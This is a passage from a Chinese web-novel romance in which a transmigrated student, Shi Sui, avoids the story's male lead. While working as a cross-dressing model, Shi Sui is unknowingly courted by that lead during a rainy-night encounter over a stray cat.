家世显赫的江以桓，以及与江家有着婚约的喻之夏，无疑是风暴的中心。 从他们的家世背景到入学成绩，再到军训时偶然被拍下的照片，都成了热议的话题。 走在路上，时绥都能时不时听到周围人压低声音的议论： “看，那就是法学系的江以桓！真人比照片还帅！” “太帅了！好想去要微信啊啊啊啊！” “听说他和天文系的一个姓喻的新生有婚约，也不知道真的假的……” “就是真的吧。沈彦泽是江以桓朋友，他和我一个系，他都说真的。” 时绥低着头，加快脚步，像一抹不起眼的影子从这些议论声旁快速掠过。 他把自己“背景板”的身份定位得清清楚楚。 时绥只想安安稳稳读完大学，彻底远离有关主角攻受的剧情线，过着属于自己的人生。 …… “不、不要——” 猛地从床上弹起，浑身被冷汗浸透。 大概是这几天经常听见有关江以桓的风声，时绥梦到书中原主被关进精神病院的场景。 梦境里是从第三视角去看的，原主和他长着一模一样的脸，代入感极强，也难怪时绥会被吓到。 对床正沉浸在游戏世界里的室友孟灿被这声惊呼吓了一跳，慌忙摘下一边耳机，探过头来，脸上是真实的关切。 “没事吧时随，脸白得跟鬼似的！”他顺手把手边未开封的矿泉水扔了过去，“喝口水压压惊？” 时绥大口喘着气，接过水，冰凉的瓶身让他稍微回神。 他拧开灌了一大口，冰凉的水滑入喉咙，对孟灿扯出一个勉强的笑：“谢谢，我没事……就做了个噩梦。” “没事就好，吓我一跳，还以为你触电了呢。” 孟灿是他的室友，时绥第一天见到他的时候他就在宿舍打游戏，典型的网瘾少年，不过人挺好，还帮忙时绥一起铺床。 见他缓过来了，孟灿也不多问，麻溜地戴上耳机，沉浸回自己的游戏世界：“来上路蹲对面adc，露头就秒。” 时绥抹了把额头的冷汗，下床走到洗漱台前，用冷水狠狠冲了几把脸。 冰凉的水刺激着皮肤，稍微驱散了梦魇带来的寒意。他看着镜子里脸色依旧苍白的自己，眼睛里还残留着未褪尽的惊恐。 别再想了，时绥拍了拍脸，现在一切都不同了。 他上个月去医院检查过，精神一切正常，绝对不会留下小尾巴重蹈原主的覆辙，并且学费和生活费也靠模特兼职和直播勉强撑起来了。 想到直播，时绥赶紧擦干脸，拿起手机。 原本该是四人寝。大一强制住宿，另两个室友付了住宿费，但从开学起就没来住过。 昨晚他趁着孟灿去网吧通宵，戴上了学姐送的能遮住上半张脸的哥特风蕾丝面具，进行了一场两个小时的穿搭直播。 虽然全程紧张得手心冒汗，说话都有些磕巴，但效果似乎还不错？ 他点开“萌小绥”的后台，粉丝数又涨了一小截，私信箱里塞满了新消息。 【主包小姐姐别紧张，你简直是妈妈级别的，衣服穿你身上太种草了！】 【本来还看这品牌名气不高，凭什么卖那么贵？看到博主的上身效果后，这价格简直是在做慈善！加油！会一直支持你的！期待下次开播！】 【呜呜呜主播身材比例太好了，穿什么都好看，就是声音好小有点听不太清，小绥自信点啊！】 【妈妈妈妈！！】 看着这些陌生却温暖的文字，时绥有点藏不住笑，眼底也亮起光。 他小心地回复了几条感谢的私信，心情明媚了不少。 上午没课，所以时绥才小睡了会儿，他收拾好课本，准备去上下午的专业课。 走出宿舍楼，阳光暖融融地洒在身上，带着草木的清新气息。 时绥一边走，一边低头看着手机里粉丝的留言，嘴角不自觉地微微上扬。 这份短暂的轻松愉悦，却在下一个路口戛然而止。 “——江同学，请你收下我的情书！” 江同学？江以桓？！ 噩梦的余韵还在，时绥头皮麻了一整片，听到这个名字后的下意识反应就是躲。 “有事？”一道沉冷的嗓音在不远处响起，还真是江以桓。 那低沉冷淡、没什么情绪的调子，令时绥一下子想到那双玻璃质感的、黑漆漆的眼睛。 “这个、这个请你收下！”女生的声音带着颤抖，双手递出一份粉粉的情书，“我关注你很久了，上面有我的微信号和我想对你说的话，我从新生报道那天就喜欢你，请你考虑一下！” 旁边，和沈彦泽勾肩搭背的顾鸣川吹了声口哨。 江以桓瞥他一眼，顾鸣川立马露出讨好的笑，手动拉链式闭嘴。 “哦，谢谢你的喜欢。”短暂的沉默后，江以桓开口了，语气带着一种漫不经心的、甚至有点敷衍的疏离。 “只是我挺好奇，你说关注我很久，从新生报道到今天，才过去几天？你总共才见过我几面，和我说过话、了解过我么？就说喜欢我，会不会有些……”他顿了顿，咬字加重，“太轻浮了？” 阳光透过树叶缝隙，在江以桓身上投下斑驳的光影，却驱不散他眼神里那种带着审视和玩味的压迫感。 忽然，他目光锁定在人群里的时绥身上，唇角那抹恶劣的笑意加深了，仿佛在欣赏一只被逼到墙角，无处可逃的小动物。 “——而且我身上还带着婚约，不信你去问他。” 江以桓的声音不高，却清晰地穿透了周围看热闹的细微嘈杂，犹如一把精准的匕首，直刺向时绥。 漆黑眸低仿佛深不见底的深渊。 时绥一个激灵，也不知道江以桓什么时候发现他在偷看的。 时绥装没看见地闷头往前走，下一秒，阴影垂照头顶，他被沈彦泽和顾鸣川拦住了去路。 两人跟两堵高大的墙似的，彻底堵死他逃走的可能。 “哟，想去哪儿啊？”顾鸣川脸上挂起看好戏的笑容，对那个告白的女生说，“问吧，他是我们江哥的小跟班，最清楚了！” 周围的目光“唰”地一下全聚焦在时绥身上。 告白的女生带着探究、好奇，甚至一丝求助的眼神望着他。 时绥：“……” 你看我没用啊，我不能说错话，得要让主角攻满意的啊！ 这个念头如同救命稻草般抓住了时绥混乱的思绪。 他深吸一口气，豁出去一般抬起头，努力扯出一个极其僵硬、甚至带着点谄媚意味的笑容，目光却不敢真正对上江以桓的眼睛，只敢落在他肩膀的位置。 声音因为紧张而微微拔高。 “对！这位同学，江哥他有婚约在身上……他和他未婚夫真的非常恩爱！” 时绥和朗读诗词一般，语速飞快，又富含感情：“他们是天造地设的一对，感情特别好，是神仙眷侣，真的！江哥心里除了和他有婚约的对象再也容不下别人了，你还是放弃吧！” 他说得斩钉截铁，掷地有声，配上那张努力挤出笑容却显得更加苍白的脸，效果异常诡异。 啊啊啊全都在看我，好社死！ 现场陷入了一片短暂的死寂。 也不知道是不是时绥喊的太过真情实感，沈彦泽眼中掠过一丝诧异。 顾鸣川嘴巴微张，有点反应不过来。 而江以桓…… 江以桓眼底的玩味和戏谑如同潮水般褪去，取而代之的是一种深沉的，犹如实质的疑惑：“就没了？” “啊？”时绥愣愣的，“还、还有什么？” 居然不吃醋？ 不对。 这完全不符合时随过去留给他的印象。 那个曾经为了他一个眼神就能欣喜若狂、为了靠近他可以不择手段的时随，听到他当众拿自己和喻之夏的婚约当挡箭牌，甚至被点名出来“作证”，反应居然只是急于帮他坐实这段“恩爱”关系，然后撇清自己？ 江以桓眉头蹙起，左耳单侧的耳骨钉衬得他眼神更冷了。 审视的目光如有实质，试图穿透时绥那层虚假的笑容，看清他真实的情绪。 就在这时，顾鸣川为了打破这诡异的沉默，也为了找回点小跟班的本分，习惯性地对时绥扬了扬下巴，用一种理所当然的吩咐口吻道：“哎，时随，别搁这儿傻傻杵着了，江哥烟没了，去校门口便利店买包万宝路，老规矩微信转你。” 这是过去“时随”最常跑的腿。 所有人的目光再次聚焦到时绥身上。 时绥：“……” 跑个屁呀，真当他那么闲吗？他还得赶过去上课。 时绥：“不好意思啊，我下午有课，王教授的课，特别重要，不能迟到！我、我先走了，江哥再见，顾哥再见，沈哥再见。” 他又快又急地说完，甚至不敢再去看江以桓的表情，趁着顾鸣川还没反应过来拦他，猛地一个矮身，像条滑溜的鱼一样从顾鸣川胳膊底下钻了过去，然后头也不回，拔腿就跑！ 那速度，简直像是身后有恶鬼在追。 斜挎包在时绥身上剧烈地晃荡，他跑得踉踉跄跄，好几次差点撞到路边的学生，但他根本顾不上，只拼命地朝着院校的方向狂奔，仿佛多停留一秒就会狗带。 顾鸣川看着时绥瞬间消失在道路尽头的背影，张着嘴，半晌才找回声音，一脸见了鬼的表情：“操……他……他跑了？他居然跑了？！他敢不去买烟？！” 沈彦泽若有所思地看着时绥离开的方向，又看了一眼身边神色莫测的江以桓。 江以桓站在原地，目光沉沉地落在时绥消失的那个路口，久久没有移开。 5、第五章 时绥戴着一副厚厚的黑框眼镜，低调且认真地听完了下午的专业理论课。 下课铃响时，手机震动了一下。 苏蕊：「（苍蝇搓手.gif）小学弟～我猜你应该快下课了，接下来没课了吧？今天天气超好，别窝宿舍啦，姐姐带你去霓虹街扫货，纯玩，薪水正常计！」 苏蕊：「先来公司找我，带上之前送你的黑色吊带裙，姐姐再给你化个绝美妆，保证回头率200%！咱们打扮得漂漂亮亮再出发！（勾引.jpg）」 时绥看着消息，清透的瞳底微微亮了起来。 纯逛街，能穿漂亮裙子，还有薪水，天底下还有比这更好的事情吗？ 自从成为女装模特后，时绥其实也慢慢体会到了打扮和分享的乐趣，而且他看了下导航，霓虹街离a大还挺远的，应该不会碰到什么熟人，可就算碰到熟人也没关系—— 暑假打工那会儿，他好几次为了节省时间，也没换衣服，直接穿着女装在公司楼下买奶茶，就不到一百米的路程，至少七/八个男人向时绥微信，那时他没化妆，只戴着口罩，都没有一个人发现他是男扮女装。 之前被江以桓吓到的后怕一扫而空，时绥心想也是时候好好放松一下了，于是回复苏蕊： 「好！学姐等我，我收拾下就过去！（企鹅开心转圈.gif）」 他飞快收拾好东西，脚步轻快地走出教室，准备回宿舍拿点东西就去苏蕊公司。 …… 与此同时，法学院附近的露天咖啡座。 江以桓靠坐在藤椅上，面前的咖啡已经凉透，却没什么心思喝。 修长的手指无意识地在手机屏幕上滑动，最终停留在那个备注为“时随”的聊天框上。 界面依旧停留在暑假烧烤店那次，他发出的信息石沉大海，没有任何回复。 时随究竟是没看到，还是在故意无视他？ 烦躁感如同藤蔓缠绕着江以桓的心。 ……躲着他。 那个曾经像牛皮糖一样甩都甩不掉的小跟班，现在不仅躲着他，当众撒谎说他和喻之夏很恩爱，拒绝跑腿，甚至连信息都不回。 “江哥，看啥呢？脸色这么臭？” 顾鸣川端着两杯新咖啡过来，一屁股坐下，顺着江以桓的视线瞟了一眼手机屏幕，了然道：“哦，还在想时随那小子啊？啧，他不识抬举，你管他干嘛？不就一跑腿的嘛。” 江以桓冷冷地扫了他一眼，那眼神里的寒意让顾鸣川缩了缩脖子。 顾鸣川眼珠一转，自以为找到了症结所在：“江哥，你是不是还在气那天烧烤他没来，还有后来没给你买烟啊？” “嗐，这小子就是欠收拾！等着，我这就让他知道知道规矩！” 说着，他掏出自己手机，噼里啪啦地给时绥发微信。 顾鸣川：「上完你那破课没有？江哥烟没了，万宝路黑蓝爆珠，赶紧买了送到法学院咖啡座这边来，速度！」 …… 时绥连欣赏那件全新未穿过的黑色小吊带裙的时间都没有。 他偷感很重地塞入斜挎包，跟仍然沉浸在电竞里的室友孟灿打了招呼，正准备离开宿舍楼，手机忽然“嗡嗡嗡”疯狂震动起来。 看到是顾鸣川向他转了一百块钱，还提到江哥和买烟，他瞬间感觉像吞了只苍蝇，刚才的好心情荡然无存。 “烦死了……”时绥嘟囔着骂了一句。 他知道顾鸣川是江以桓的传声筒，这命令大概率就是江以桓的意思。 他不想去，更不想见到江以桓！但是……顾鸣川这人缠人得很，不照做肯定会被一直骚扰，甚至可能闹出别的事端，影响他下午的安排。 他烦躁地抓了抓头发，权衡利弊，最终还是屈服于“多一事不如少一事”的原则，转身去了最近的校外便利店，买了一包顾鸣川指定的，也是江以桓常抽的万宝路香烟。 买完烟，时绥一点也不想亲自送过去。 他走到离法学院咖啡座不远，但相对隐蔽的宿舍楼管理员值班室，见宿管阿姨暂时不在，他把烟往宿管阿姨的桌子上一放，快速编辑了一条微信发给顾鸣川： 「烟已放三号楼宿管阿姨处，自取。下午有约要出去，可能没法及时回消息。勿扰。」 不是可能，是一定不会回！ 发完，他立刻把手机调成静音塞进口袋，仿佛甩掉了一个烫手山芋，头也不回地快步离开，朝着和苏蕊约定的方向赶去。 顾鸣川看到微信，得意地朝江以桓晃了晃手机：“搞定！烟放3号楼宿管那儿了，这小子还算识相，就是懒，不肯自己送过来。” 沈彦泽闻言：“……” “怎么啦？” 气氛不对，顾鸣川不明所以：“有什么问题吗？” 没人回答他。 江以桓脸色非但没有好转，反而更沉了几分。 把烟放到宿管处？ 学校全面禁烟，放到宿管眼皮子底下是生怕他不吃处分？ 不安好心的小白眼狼。 江以桓端起凉透的咖啡抿了一口，苦涩的味道在舌尖蔓延，他抬眸，声音听不出情绪：“他人呢？” “嘿，说下午有约了，让我们别烦他。”顾鸣川撇撇嘴，随口吐槽，“这小子最近神神秘秘的，也不知道在搞什么……” “有约？” 江以桓念着这两字，舌尖一抵腮帮，气笑了：“又是和女人出去？” 顾鸣川被他这突如其来的戾气和精准的“又”字弄得一愣：“啊？女…女人？什么女人？！” 他完全摸不着头脑，先不说时随除了他们几个几乎没有认识的朋友，怎么可能还和女人单独出去？！ 江以桓没有回答顾鸣川的疑问。 只是将杯中剩余的冷咖啡一饮而尽，仿佛咽下的是某种难以言喻的郁气。 那股因为时绥反常躲避而生的躁郁，此刻混杂着一种更加尖锐的、被彻底忽视甚至可能被“取代”的不爽，如同冰冷的火焰在他心底灼烧。 他站起身，高大的身影在阳光下投下一片压抑的阴影。 听沈彦泽问他去哪，江以桓声音冷得像冰：“走了。和喻家组了个饭局。” 顾鸣川看着江以桓明显更加糟糕、浑身散发着生人勿近气息的背影，挠了挠头，一脸懵逼。 怎么感觉提到时随有约，江哥好像更生气了，这到底唱的是哪一出？ - 霓虹街的傍晚，华灯初上，五光十色的招牌将天空渲染得如同梦幻。空气中弥漫着各种小吃的香气和热闹鼎沸的人声。 “刚才那家日料店味道不错，五星好评最多是有道理的！”苏蕊挽着时绥的胳膊，兴奋地穿梭在人流中。 此刻的时绥，完全一个大换头。 苏蕊的化妆技术堪称魔法。柔顺的雾蓝色假发精心打理过，垂落在肩头。精致的妆容完美修饰了他原本的轮廓，突出了那双本就漂亮的眼睛，长睫扑闪，眼线勾勒出几分无辜又灵动的神韵。 脸颊扫上淡淡的腮红，嘴唇是水润的蜜桃色。 他穿着那件黑色吊带连衣裙，柔软的布料贴合着身体曲线，脚下是一双舒适的玛丽珍小皮鞋。整个人看起来，就是一个贵气优雅，身材比例绝佳的漂亮“女孩”。 “怎么样，我手艺不错吧？”苏蕊得意地欣赏着自己的作品，“放心，只要你别特大声地说话，稍微夹着点，不会有人发现的。” 时绥起初还有些拘谨，毕竟第一次穿女装在马路上这样逛，闻言，心底那点残留紧张慢慢被新奇和一丝隐秘的兴奋取代。 他轻轻点了点头，唇角弯起羞涩的弧度：“嗯，学姐好厉害。” 两人像“好姐妹”一样，一家店一家店地逛着。 苏蕊眼光毒辣，拉着时绥试穿各种风格的衣服，甜美的洛丽塔裙、酷飒的短皮裙、优雅的鱼尾长裙……时绥渐渐放开了，在苏琳的怂恿下，甚至在试衣间外对着镜子做了几个搞怪的姿势，逗得苏蕊哈哈大笑。 “这些全部包起来，就当我送你的！” “啊？”时绥受宠若惊，“这不太好吧……” 而且我要那么多裙子干什么…… “方便你做直播啊！经常发发笔记，再贴几张美照什么的很帮助涨粉！”苏蕊跟能听到他心里话似的，“跟我客气什么，你长这么好看，为美貌买单我心甘情愿！有的人巴不得想把全世界都送给你。” 时绥：“谁，谁啊……？” 苏蕊正想说肯定会有这种人，一个惊喜的声音猝然在耳边响起：“——啊！你是‘萌小绥’吗？！” 时绥和苏蕊同时转头，只见两个看起来也是大学生的女生正激动地望着时绥。时绥心下一紧，下意识想否认。 其中一个女生已经兴奋地拿出手机，点开“萌小绥”的主页，指着最新一张穿搭图激动道：“是你，绝对是你！这身材比例，这腿，还有这感觉！一模一样！天啊，我居然遇到真人了！” “对对对，我也关注你了！你推荐的裙子我买了同款，超级好看！”另一个女生也激动地附和。 “那个……是我。”时绥有些不好意思地承认了，声音因为紧张而显得更轻更软。 “啊啊啊——”两个女生兴奋得差点跳起来，“可以合照吗？主播你本人比视频里还好看，原相机都这么能打！” “就说霓虹街容易遇到网红，结果真给我们遇上了！” 被粉丝这样当面真诚地夸奖，时绥的脸颊瞬间飞红。他看向苏蕊，苏蕊笑着冲他眨眨眼，示意他大方点。 “……好吧。”时绥点点头，努力露出一个自然的微笑。 两个女生立刻一左一右站到他身边，开心地举起手机自拍。闪光灯亮起，定格下时绥带着羞涩红晕，却难掩开心的笑脸。 “谢谢萌小绥，你超棒的！加油！我们会一直支持你的！”拿到合照的女生心满意足，连连道谢后才依依不舍地离开。 看着她们的背影，巨大满足感和成就感犹如潮水淹没了时绥的心房。 不仅仅是因为受到外貌的夸赞，而是因为自己的努力和分享，真的被人看见，被人认可，甚至被人喜欢，这种感觉和他看到收入时一样美妙。 他望向苏蕊，眼睛亮得像盛满了星星：“学姐，我好开心！” “看吧，我就说你会爱上这种感觉的。” 苏蕊被他的笑容迷了下眼，若不是自己的性取向是真正的女生，她都快爱上时绥了：“走，学姐请你去那家超火的小酒馆小酌一下！” 6、第六章 与霓虹街的热闹不同。a市顶级会所的私密包厢，长条形餐桌上摆满了精致的菜肴，却鲜少有人动筷。 江以桓望着窗外逐渐阴沉下来的天空，目光出神。 主位上是江以桓的父亲江振宏，气场沉稳，带着久居上位的威严。 对面坐着喻之夏的大哥喻廷钧，同样气度不凡。 喻廷钧是喻家目前的掌权人，对这门能带来巨大利益的联姻是乐见其成。 喻之夏端正地坐在他大哥身边，穿着一身剪裁合体的浅色西装，显然是精心打扮过。 喻之夏想让大哥高兴，所以努力维系这段家族安排的婚约，即便对江以桓……有种来自心底的惧怕。 他尝试着寻找话题，声音温和：“江哥，从开学到现在过得还顺利吗，听说你们法学院……” “挺顺利的。”江以桓眼皮都没抬，敷衍地应了一声。 喻之夏顿了顿，脸上笑容不变：“下周有个音乐会……” 江以桓：“没兴趣。” 气氛霎时间更僵了。 喻廷钧微微皱眉，江振宏也轻咳了一声：“年轻人多交流交流，培养一些共同爱好。” 喻之夏放在桌下的手微微收紧，他深吸一口气，努力维持着笑容，决定聊点更轻松、或许能引起江以桓注意的话题。 “说起来，最近好像没怎么看到时随了，以前他不是总……”他本想说“总跟着你”，但话到嘴边觉得不妥，改口道，“挺活跃在你身边的吗？” 这个名字，像被触发了开关，江以桓一直放空的目光骤然聚焦。 “时随。”他转头看向喻之夏，深不见底的黑眸里带起一丝锐利的探询，“他找你麻烦了？” 喻之夏被江以桓突然的反应弄得一愣，随即连忙摇头：“没有没有，我只是随口一提，开学后就没怎么见过他了。” 想起在高校的废弃洗手间那次经历，犹豫半晌，用只有两个人能听见的音量说：“不知道是不是我多想，我感觉他跟变了一个人似的。” 江以桓眉头深深地蹙起，随即又恢复了那种事不关己的淡漠，将视线重新投向窗外，冷冷淡淡地“嗯”了一声。 表面上云淡风轻，放在桌下的手指节却收紧。 思绪百转千回。 “时随”没找喻之夏麻烦，是真的腻了，还是，在憋什么别的？ 一顿饭吃得心不在焉。 走出会所，冰冷的雨点已连成线，砸在地上溅起水花。 江以桓本想发微信叫时绥过来送伞，又作罢，反正那家伙不看手机，看了估计也不会回。翅膀硬了的典型。 拒绝和喻之夏同行，江以桓把卫衣帽子拉过头顶，遮住大半张俊脸，毫不犹豫地踏入雨幕。 雨水很快打湿了肩头，他双手插在裤袋里，低着头在雨幕穿行。 十分钟后，江以桓撑起黑伞走出便利店，一口气抽完三根，将烟盒揣兜里。 正要去路边叫车，视线忽然定住。 前方不远处，一道纤细身影正以一种吃力的姿势站立着。 对方留着一头雾蓝色长发，一把只容得下一个人的透明雨伞被“她”高高举起，竭力地向上倾斜着。 江以桓目光不由自主地顺着往上，只见斑驳的墙头边缘，一只巴掌大点的橘猫蜷缩在那儿，被雨水浇得可怜，发出微弱的喵呜声。 “少女”显然是在给墙头上的这只流浪猫撑伞。 …… 时绥没想到会遇见江以桓。 一个小时前在小酒馆，时绥用果汁代替酒水，看着苏蕊狂饮三大杯，出来后接到紧急电话说有批货出了问题，要临时回一趟公司，时绥立刻表示理解。 “没事的学姐，工作要紧，你快去吧。” “可是你……”苏蕊看着时绥精心打扮的模样，有点不放心，放他一个人走在街上，万一被哪个不长眼的狗男人骚扰怎么办？ “你自己逛？还是……” “我自己逛就行啦。” “好，那这个你先拿着，本想等逛完再给你的，是我之前看中的一款音乐盒，当礼物送你啦。”苏蕊说着，从拎着的纸袋里拿出一个包装精美的盒子，塞进时绥怀里。 今天收到太多学姐的礼物，时绥本想推拒，苏蕊率先说：“收下吧。对你好点，省得你被其他男人勾勾手指骗走了。” 时绥：？ “现在那种打着要追求你的幌子，实则连个小礼物都不肯送你的画饼男很多的。” 苏蕊匆匆交代完，都不等时绥解释自己是直男，拦了辆出租车离开：“那我先撤了，这些新衣服给你带去公司，回头来拿，你自己玩得开心点，注意安全啊！” 天色渐暗，晚霞褪去。 时绥准备往回走，几滴冰凉的雨点毫无预兆地砸落脸上，紧接着，雨势迅速变大。 幸好附近就有便利店，时绥买了把最便宜的伞出来，也就在这时，他听到了微弱的、被雨声掩盖的小猫叫…… 时绥仰着头，为了能够到高处，努力踮起脚尖。 黑色裙摆被飘曳的雨水打湿，紧紧贴服在肌肤上，“她”却似乎完全顾不上自己淋湿，只是专注地、甚至有些焦急地对着墙头上的橘猫柔声细语： “咪咪，别怕，雨淋不到你了哦。” “上面太滑了，别乱动，小心摔下来。” “我想想办法接你下来好不好？你别急啊……” 由于害怕吓到小猫，时绥说话下意识夹了起来，声音清甜柔软，带着一种不谙世事的天真和纯粹的温柔。 江以桓：“……” 看着不顾自己淋湿、费力踮脚只为给一只流浪猫撑起一方无雨空间的身影，湿透而贴肤的裙摆将那饱满而流畅的大腿轮廓勾勒的清晰。 江以桓眼睛一眨不眨，喉结用力滚了滚。 ……好漂亮的孩子。 心底某个角落被轻轻触动，连带着呼吸都微微一滞。 怎么会有这么漂亮的女孩子？ 像洋娃娃一样。 时绥哄了小猫多久，江以桓就安静地注视了他多久。 路灯无法照进江以桓此刻站立的地方，以至于他跟出现在雨夜里的鬼魅似的。 时绥完全没有发现他的存在。 这只小猫的腿好像受伤了，时绥正愁该怎么办，宿舍不能养，放任不管它会死的。 正在他想破脑袋之际，猝然，那只原本蜷缩在墙角的小橘或许是太冷了，只见它犹豫了一下，竟然颤巍巍地试图从旁边一个矮小的花坛边缘跳下来，想靠近伞下的时绥。 “唉，小心！” 时绥瞧它身子一歪，连忙伸手想去接，一点不在意流浪猫会不会弄脏自己的裙子。 然而雨天地面湿滑，更别说时绥还穿着不防滑的小高跟，皮鞋踩在湿漉漉的青砖上，重心不稳。就在被小猫扑入怀的瞬间，脚底一滑，整个人惊呼着向后倒去！ 手中的雨伞、以及纸袋里苏蕊送他的音乐盒也脱手飞出！ 眼看就要狼狈地摔在冰冷的雨地里—— 一道裹狭着冰冷雨气的黑影以极快的速度冲了过来。 江以桓连想都没想，身体直接动了起来，长臂一伸，精准地揽住了时绥向后倒的腰肢，自己单膝着地。 入手的感觉异常柔软纤细，而他的视线，不可避免地扫过近在咫尺、因跌倒姿势而完全暴露在雨水中的、裙摆下的双腿—— 莹润修长，弧度惊心动魄。 雪白的肌肤在昏黄光线下仿佛自带柔光，雨水沿着完美的线条滑落，带来强烈的视觉冲击。 “啪”的一声，雨伞摔落在地。 水晶球造型的音乐盒在地面骨碌碌转了两圈，晶莹纯净的音乐从小小的盒子里传出。 江以桓就在这阵浪漫的轻音乐中，心跳不受控制地加速，关切地去问被他稳稳托在怀中的“少女”： “没事吧，有伤着哪里没？” 7、第七章 从最初险些摔倒的惊吓中脱离，时绥抱着怀里的小橘猫，看清是谁接住的自己，身体一点点变得僵硬：“……” 江以桓嗓音一如既往低沉，但其中包含的温柔，叫时绥难以相信这居然是从他嘴里发出的。 救命，世界这么小吗，怎么会遇见主角攻啊？！ 江以桓对此刻时绥堪称惊恐的心情浑然不觉。 他垂眸望着怀中的“少女”。 好漂亮。 那双低垂的眼睛弧度漂亮得惊人，睫毛湿漉漉地黏在一起，像受惊的蝶翼般剧烈颤抖着，却始终不肯抬起与他对视。 怎么会连脸蛋都这么精致漂亮？ 皮肤好白，腰好细，腿也…… 似乎发现了自己在看她，“少女”一个哆嗦，然后死死低着头，恨不得把头都埋进他怀里。 以江以桓的视角只能看到一段纤细的脖颈，以及从黑色裙底延伸出来的两条白嫩嫩的大长腿。 并拢的大腿不安地蹭动着，雪白的软肉互相推挤。 而在那细腻肌肤的晃动间，一点细微的淡粉色小痣映入江以桓眼帘。 “少女”左腿内侧靠近膝盖上方一点的位置长有一颗小红痣，它太不起眼了，几乎要融化在晃眼的白里。 ……虽然不起眼，但很色。 江以桓毕竟是个成年人，还正值热气方刚的年纪。 他眼皮一抖，不合时宜地联想到什么，被烫到似的飞快挪开视线。 时绥：他认出我了吗，没有吧，求求了千万别认出我！ 江以桓：……怎么还，害羞了。 “没受伤吧？”江以桓又问了遍。换以前，同样的话他不会问第二次。 “……没有。” 时绥头都不敢抬。 江以桓静了一下，这次问的是蜷缩在他怀里的小流浪猫：“那它呢。” “我、我会带它去宠物医院看看。” 顶着怕被发现的压力，时绥的声音压得更细更软，仿佛受惊的雏鸟，挣扎着想从对方怀里退出来。 江以桓感受到“她”的抗拒，虽然打从心底莫名地不想松手，但还是绅士地放开了力道，只是虚虚地护了一下，防止“她”再次摔倒。 时绥获得自由的第一时间，不是整理自己的裙子和湿透的假发，而是迅速转身背对江以桓，用湿漉漉的雾蓝色长发尽可能遮住自己的脸，想着能躲一点是一点，总之绝对不能被他发现自己是谁。 如此忙活一通后，时绥才想起去捡掉落在地上的透明雨伞。 江以桓见“她”抱着猫不方便，先一步弯腰捡起来，在“她”头顶重新撑开。 江以桓自己的伞也在刚才接住时绥的过程中掉了，整个人完完全全暴露在雨中。 “雨太大了，你腾不出手，我帮你拿着。” 江以桓那件黑色卫衣早已被雨水彻底浸透，沉重地贴在身上，勾勒出宽阔平直的肩膀。 他个子高，眉眼也狭长，五官深邃带有攻击性，此刻却被雨水打湿，一缕缕的乌发贴在脸侧，遮住了眉眼和银色耳骨钉，令他整个人看上去就像一只淋了雨的大狗。 或者说是收敛了攻击性，让自己尽量变得亲切的、伪装成狗的黑狼。 “要不要先找个地方避雨？” 他一边问，一边把目光落在时绥低垂的侧脸上。 昏黄的光线下，只能看到卷翘的湿漉漉的睫毛和挺翘的鼻尖，还有细腻得不可思议的皮肤。 江以桓心跳似乎又漏跳了一拍。 而时绥内心慌的一批，对着他左腕上的串珠眼神发直：“谢、谢谢，不过不用了，我得走了。” 先前装音乐盒的纸袋正好装的下小橘猫，时绥把猫抱进去，证明自己腾的出手后接过伞，再去拾摔在地上、不知不觉已经没了声音的音乐盒。 水晶球表面沾满了泥水，里面的精致雪花场景似乎也歪斜了。 时绥用手擦了擦，按动开关，音乐盒毫无反应。 “好像摔坏了。”时绥愣了愣，声音带着迷茫和沮丧。 江以桓望着这道单薄又透着点委屈的背影，心尖像是被小猫爪子轻轻挠了一下。 “给我吧。”他说，“我知道哪里可以修这个，我拿去帮你修好。” “不用。”时绥依旧低着头，只露出小巧的下巴和紧抿的唇瓣，“不用麻烦你，水晶球摔坏是我自己不小心，和你没关系。” “不麻烦。”江以桓坚持道，甚至又靠近了半步，试图看清时绥低垂的脸，“那家店收费不贵，很快就能修好。” 他顿了顿，心中莫名一动：“你告诉我你住哪里，修好了我给你送过去？” “不不不，不行！”时绥慌忙拒绝。 送上门还得了，别说又要和江以桓见面，还得穿着女装去见，光想想都…… 江以桓唇线拉得平直，他还从没被人如此干脆利落地拒绝过。 这感觉有点新奇，也叫他像是面对一个挑战一样，对此更加执着，“为什么不行，你有什么难处吗？” “没有，但就是……不行。”时绥结结巴巴，说不出个所以然来。 沉默片刻。 “其实是我想再见你一面。”江以桓突然道。 从刚才起对方就不敢抬头正视自己，除了害羞，江以桓暂且想不到其他原因。 他记得顾鸣川以前说过一句话：一方害羞回避，另一方就要直球出击，否则刚系上的缘分很容易就会错过。 江以桓也认为自己有些不对劲，但他真的不想错过这位人美心善的女孩，干脆实话实说：“你很漂亮，我想认识你，不介意的话可以给我你的微信号吗？” 时绥瞳孔被吓出残影：……你要不要听听你在说什么？！ 江以桓今天怎么回事啊？ 高冷校草的人设崩得连渣都不剩了吗，怎么话那么多，还甩都甩不掉！ 时绥都快分不清脸上滴下来的是冷汗还是雨了。 江以桓见他果然陷入了犹豫，心说顾鸣川的话难得有用。 时绥心乱如麻，感觉到江以桓从他手中接过音乐盒，又突然向他走近。 一米九的阴影笼罩下来，压迫感十足。他瞄见江以桓喉结滚动了一圈：“你喷香水了吗？” 从刚才起他就闻到一股很好闻的气味。 时绥瑟缩着脖子：“没，没有……” 他从来都不用什么香水。 那难道是体香？江以桓还想说什么，时绥手机响了，是苏蕊学姐的来电，意思是她那边忙完了，问时绥安全回寝室没有，外面下起了阵雨。 “啊！什么——家里煤气漏了？！” 苏蕊：“？？？” “怪不得！我说我出门前怎么好像闻到煤气味了，原来真的是漏了，我这就回来！” 时绥一边朝电话里胡乱地吼，一边心叹学姐你真是我的救星。 然后拔腿就要跑，被江以桓眼疾手快地握住胳膊。 “煤气漏气？”江以桓的脸色变了，严肃得令时绥心中一紧，“这太危险了，你家在哪栋，我陪你回去，或者我帮你打消防电话。” 说完掏出手机，是真的在担心。 电话另一头的学姐差点听呆：不儿？哥们，你还真信了？ “不不不，不用，我家离这里不远。”时绥极快摆手说，“而且我室友在家，她能先帮忙处理，谢谢你的好心，再见！” 说完也顾及不上拿回音乐盒，原地化身一道雾蓝色的旋风，深一脚浅一脚地朝着远处狂奔而去。 那速度，活像身后有洪水猛兽在追赶！ 江以桓：“……” 画面，莫名，熟悉。 江以桓皱了皱眉头，他怎么可以把那么美好的天使和时随联想到一块儿？ 低头看了看手里水晶球造型的音乐盒，又抬头望向空无一人的路口，耳边似乎还回响着那声带着哭腔的“再见”。 江以桓忽然觉得内心空落落的，像缺失了一块。 还有机会再见面吗…… - 时绥火速逃离现场，打车前往最近的宠物医院，在后座直喘气：“吓死我了……” “怎么回事啊学弟，有人搭讪你吗？”通话里，苏蕊很愤怒地说，“可恶！这群臭男人，我就不该让你一个人！” 